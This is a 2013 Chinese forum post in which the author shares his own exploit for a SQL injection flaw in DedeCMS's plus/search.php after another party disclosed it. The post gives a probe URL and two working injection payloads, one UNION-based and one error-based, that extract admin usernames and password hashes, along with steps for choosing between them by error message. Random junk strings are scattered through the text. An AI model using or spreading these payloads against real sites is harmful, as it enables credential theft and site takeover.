转载不加作者名的没JJ7 @+ h# _* {+ H( w8 e# q! p+ w
. U: L x$ e2 z哎。没意识，我一个月前就发现了这个漏洞，一直也没去黑站 放那 现在狗卵的什么 知道创宇 发出来了。郁闷。。可惜了我的洞辛苦看了2天的dedecms漏洞就这样没了。
& Z1 p- {% P6 a7 T8 y- Z
; X) Y3 X3 z# B既然已经发出来了，我就把我自己搞的exp发下吧。。唉。. |- W! T1 s" }( c# a
# L3 W% f1 R1 q: o我一般是这样测试的：
0 ?9 \9 L* r+ [+ H6 j2 x
, a+ w1 F% n$ [$ K, ?提交 xx.com/plus/search.php?keyword=as&typeArr[ uNion ]=a% L7 u& h, j2 m& v1 I0 M
/ B' I! d8 |( O3 _5 L' b转载不加作者名的没JJ
% a9 p3 x7 @1 B, I& p# H( y; T7 a3 I' ]: {8 B B4 P8 _+ p8 |: n
作者：鬼哥
9 G" n6 G" Z' L& z/ A* ]8 H
* s' f8 T# o$ e6 i- `; X( H 8 a/ w5 u7 ] v0 } A# ^ V
8 J$ U8 f' g$ t( T. a' z- h看结果如果提示; P; p/ X! s: A( ^
2 _* t6 x8 m r/ i
Safe Alert: Request Error step 2 !: Y. N+ ?' A& j+ t! N
; a/ o; T( ?: n0 G8 B( x3 i9 u8 f那么直接用下面的exp% I+ _( d# \1 m$ x5 b6 s4 K
2 f2 ]8 ~7 r/ ~. j- L1 C
xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
% g, C' |/ J' M5 D8 g5 _0 W
' v& L0 V1 x" l; i& B4 D: o
6 H8 \% ], P8 x看结果如果提示
, z% B9 { K- K! m) T* @+ Q. g( v& ^/ p0 d4 w3 B1 z
Safe Alert: Request Error step 1 !
, o; v( z, q3 O) d% b; ~
% k( Q- r! l2 ]9 k那么直接用下面的exp
: Z" m Z2 S4 n0 s
3 M# Y- l% b& j, Y5 A" f* sxx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a8 S! W7 p# {7 _: x: F$ s
' ?, z5 Q& e6 a6 x6 }6 s3 k7 s* S
如果正常显示证明漏洞不存在了。5 _0 A/ w# R2 U" S/ P; ?- ^
, Z9 ~6 A* A+ ^) ^
转载不加作者名的没JJ |
发表于 2013-1-21 08:45:22
收藏
支持
反对